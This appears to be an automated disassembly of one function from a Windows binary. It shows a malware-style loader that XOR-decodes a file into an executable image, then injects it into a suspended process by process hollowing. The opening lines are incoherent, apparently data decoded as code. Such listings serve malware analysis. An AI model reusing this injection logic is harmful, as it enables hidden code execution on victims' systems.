Function at 0x1000ab56
Capabilities:
Terminate process

Disassembly:
sub esp, 8
jne 0x1000ab68
and edi, 0x1e85053
add byte [eax], al
add byte [ecx + ebx*2 - 0x7efd82a7], bh
bnd ja 0x1000ab70
jae 0xf7e8febd
push ecx
push ebx
call fcn.1000ab56
mov ecx, 0x18244483
push es
invalid
add dword [esp + 0x18], 6
sub esp, 4
jne 0x1000ab8b
or eax, 0xc181027d
jge 0x1000ab7f
add ecx, 0x57be0177
ja 0x1000ab82
mov esi, 0xe8515557
add eax, 0xbd000000
push edi
push ebp
push ecx
call 0x1000ab8f
mov ebp, 0xa364ee73
jmp dword [esp + 0x2c]
jae 0x1000ab7b
mov dword fs:[0x2c2464ff], eax
ror byte [edx + edi*4], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jne 0x10c5702a
add byte [eax], al
mov eax, dword [ebp - 0x7cd]
mov ecx, dword [ebp - 0x7c7]
mov edx, dword [ebp - 0x7c1]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push str.nUl2SXBJb0kvSWVJaEl1SUlJ
call fcn.1000a070
add esp, 4
push eax
lea eax, [ebp - 0x808]
push eax
call fcn.1000a8f0
add esp, 4
push eax
lea ecx, [ebp - 0x80c]
push ecx
call fcn.10001140
add esp, 0xc
mov ecx, eax
call fcn.100011a0
push eax
call dword [0x10011b8c]
mov dword [ebp - 0x56c], eax
lea ecx, [ebp - 0x80c]
call fcn.10001060
lea ecx, [ebp - 0x808]
call fcn.10001060
cmp dword [ebp - 0x56c], 0xffffffff
jne 0x1000ac33
xor eax, eax
jmp 0x1000b3a2
push 0
mov edx, dword [ebp - 0x56c]
push edx
call dword [0x10011b70]
mov dword [ebp - 0x220], eax
push 4
push 0x3000
mov eax, dword [ebp - 0x220]
push eax
push 0
call dword [0x10011b48]
mov dword [ebp - 0x218], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x220]
push ecx
push 0
call dword [0x10011b48]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x218], 0
je 0x1000ac92
cmp dword [ebp - 0x234], 0
jne 0x1000acc8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.2101_error_errid:_d
lea edx, [ebp - 0x778]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x778]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x1000b3a2
push 0
lea ecx, [ebp - 0x50c]
push ecx
mov edx, dword [ebp - 0x220]
push edx
mov eax, dword [ebp - 0x218]
push eax
mov ecx, dword [ebp - 0x56c]
push ecx
call dword [0x10011b6c]
test eax, eax
jne 0x1000ad26
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.211_error_errid:_d
lea edx, [ebp - 0x778]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x778]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x1000b3a2
cmp dword [ebp - 0x50c], 0
jne 0x1000ad47
push 0
push 0
push str.a10
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x1000b3a2
mov dword [ebp - 0x208], 2
jmp 0x1000ad62
mov ecx, dword [ebp - 0x208]
add ecx, 1
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0x208]
cmp edx, dword [ebp - 0x220]
jae 0x1000ae21
mov eax, dword [ebp - 0x208]
xor edx, edx
mov ecx, 3
div ecx
test edx, edx
jne 0x1000ada9
mov edx, dword [ebp - 0x218]
add edx, dword [ebp - 0x208]
movsx eax, byte [edx]
xor eax, 0x57
mov ecx, dword [ebp - 0x234]
add ecx, dword [ebp - 0x208]
mov byte [ecx], al
jmp 0x1000ae1c
mov eax, dword [ebp - 0x208]
xor edx, edx
mov ecx, 3
div ecx
cmp edx, 1
jne 0x1000addf
mov edx, dword [ebp - 0x218]
add edx, dword [ebp - 0x208]
movsx eax, byte [edx]
xor eax, 0x77
mov ecx, dword [ebp - 0x234]
add ecx, dword [ebp - 0x208]
mov byte [ecx], al
jmp 0x1000ae1c
mov eax, dword [ebp - 0x208]
xor edx, edx
mov ecx, 3
div ecx
cmp edx, 2
jne 0x1000ae1c
mov edx, dword [ebp - 0x218]
add edx, dword [ebp - 0x208]
movsx eax, byte [edx]
xor eax, 0x36
movzx ecx, byte [ebp - 0x208]
xor eax, ecx
mov edx, dword [ebp - 0x234]
add edx, dword [ebp - 0x208]
mov byte [edx], al
jmp 0x1000ad53
mov eax, dword [ebp - 0x234]
mov byte [eax], 0x4d
mov ecx, dword [ebp - 0x234]
mov byte [ecx + 1], 0x5a
mov edx, dword [ebp - 0x56c]
push edx
call dword [0x10011b78]
nop
lea eax, [ebp - 0x520]
push eax
lea ecx, [ebp - 0x51c]
push ecx
lea edx, [ebp - 0x204]
push edx
lea eax, [ebp - 0x7d4]
push eax
mov ecx, dword [ebp - 0x220]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call fcn.1000a290
add esp, 0x18
test eax, eax
je 0x1000b36a
mov dword [ebp - 0x7dc], 0
push 0x8000
push 0
mov eax, dword [ebp - 0x218]
push eax
call dword [0x10011b4c]
push 0x8000
push 0
mov ecx, dword [ebp - 0x234]
push ecx
call dword [0x10011b4c]
mov dword [ebp - 0x53c], 1
xor edx, edx
mov word [ebp - 0x538], dx
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x568]
push ecx
mov edx, dword [0x10011b90]
push edx
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0x200]
push eax
push 0
call dword [0x10011b88]
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0
jne 0x1000aff0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xc1
jne 0x1000afb3
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea ecx, [ebp - 0x200]
push ecx
lea edx, [ebp - 0x200]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x568]
push ecx
mov edx, dword [0x10011b90]
push edx
push 0
push 4
push 0
push 0
push 0
lea eax, [ebp - 0x200]
push eax
push 0
call dword [0x10011b88]
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0
jne 0x1000afb1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x200]
push ecx
push str.212_error__s_errid:_d
lea edx, [ebp - 0x778]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
lea eax, [ebp - 0x778]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x1000b3a2
jmp 0x1000aff0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x200]
push ecx
push str.213_error__s_errid:_d
lea edx, [ebp - 0x778]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
lea eax, [ebp - 0x778]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x1000b3a2
mov dword [ebp - 0x508], 0x10007
lea ecx, [ebp - 0x508]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
call dword [0x10011b5c]
lea eax, [ebp - 0x214]
push eax
push 4
lea ecx, [ebp - 0x514]
push ecx
mov edx, dword [ebp - 0x464]
add edx, 8
push edx
mov eax, dword [ebp - 0x230]
push eax
call dword [0x10011b64]
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x7dc], ecx
push 0x1c
lea edx, [ebp - 0x7fc]
push edx
mov eax, dword [ebp - 0x7dc]
push eax
mov ecx, dword [ebp - 0x230]
push ecx
call dword [0x10011b50]
test eax, eax
je 0x1000b084
cmp dword [ebp - 0x7ec], 0x1000
je 0x1000b070
jmp 0x1000b084
mov edx, dword [ebp - 0x7dc]
add edx, dword [ebp - 0x7f0]
mov dword [ebp - 0x7dc], edx
jmp 0x1000b041
mov eax, dword [ebp - 0x7dc]
sub eax, dword [ebp - 0x514]
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x7d4]
mov edx, dword [ecx + 0x34]
cmp edx, dword [ebp - 0x514]
jne 0x1000b12c
mov eax, dword [ebp - 0x77c]
cmp eax, dword [ebp - 0x520]
jb 0x1000b12c
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x7dc], ecx
lea edx, [ebp - 0x7e0]
push edx
push 0x40
mov eax, dword [ebp - 0x77c]
push eax
mov ecx, dword [ebp - 0x7dc]
push ecx
mov edx, dword [ebp - 0x230]
push edx
call dword [0x10011b54]
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0
jne 0x1000b127
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.214_error_errid:_d
lea eax, [ebp - 0x778]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x778]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1000b1ed
mov dword [ebp - 0x7dc], 0
lea edx, [ebp - 0x214]
push edx
push 4
lea eax, [ebp - 0x7dc]
push eax
mov ecx, dword [ebp - 0x464]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x230]
push edx
call dword [0x10011b68]
push 0x40
push 0x3000
mov eax, dword [ebp - 0x520]
push eax
mov ecx, dword [ebp - 0x7d4]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x230]
push eax
call dword [0x10011b58]
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 0
jne 0x1000b1ed
mov ecx, dword [ebp - 0x7d4]
push ecx
call fcn.1000a5d0
add esp, 4
test eax, eax
je 0x1000b1ed
push 0x40
push 0x3000
mov edx, dword [ebp - 0x520]
push edx
push 0
mov eax, dword [ebp - 0x230]
push eax
call dword [0x10011b58]
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 0
je 0x1000b1ed
mov ecx, dword [ebp - 0x7dc]
push ecx
mov edx, dword [ebp - 0x51c]
push edx
mov eax, dword [ebp - 0x7d4]
push eax
call fcn.1000a520
add esp, 0xc
cmp dword [ebp - 0x7dc], 0
je 0x1000b33b
mov byte [ebp - 0x804], 0xe9
xor ecx, ecx
mov dword [ebp - 0x803], ecx
lea edx, [ebp - 0x214]
push edx
push 4
lea eax, [ebp - 0x7dc]
push eax
mov ecx, dword [ebp - 0x464]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x230]
push edx
call dword [0x10011b68]
mov eax, dword [ebp - 0x7d4]
mov ecx, dword [ebp - 0x7dc]
mov dword [eax + 0x34], ecx
lea edx, [ebp - 0x214]
push edx
mov eax, dword [ebp - 0x520]
push eax
mov ecx, dword [ebp - 0x51c]
push ecx
mov edx, dword [ebp - 0x7dc]
push edx
mov eax, dword [ebp - 0x230]
push eax
call dword [0x10011b68]
test eax, eax
je 0x1000b2e1
mov dword [ebp - 0x508], 0x10007
mov ecx, dword [ebp - 0x7d4]
mov edx, dword [ebp - 0x7dc]
add edx, dword [ecx + 0x28]
sub edx, dword [ebp - 0x458]
sub edx, 5
mov dword [ebp - 0x803], edx
lea eax, [ebp - 0x214]
push eax
push 5
lea ecx, [ebp - 0x804]
push ecx
mov edx, dword [ebp - 0x458]
push edx
mov eax, dword [ebp - 0x230]
push eax
call dword [0x10011b68]
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [0x10011b74]
mov edx, dword [ebp - 0x22c]
push edx
call dword [0x10011b78]
mov eax, dword [ebp - 0x230]
push eax
call dword [0x10011b78]
jmp 0x1000b339
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.215_error_errid:_d
lea ecx, [ebp - 0x778]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x778]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
mov eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [0x10011b78]
mov edx, dword [ebp - 0x230]
push edx
call dword [0x10011b78]
jmp 0x1000b368
push 0
mov eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [0x10011b78]
mov edx, dword [ebp - 0x230]
push edx
call dword [0x10011b78]
xor eax, eax
jmp 0x1000b3a2
jmp 0x1000b39d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.216_error_errid:_d
lea eax, [ebp - 0x778]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x778]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x1000b3a2
mov eax, 1
mov esp, ebp
pop ebp
ret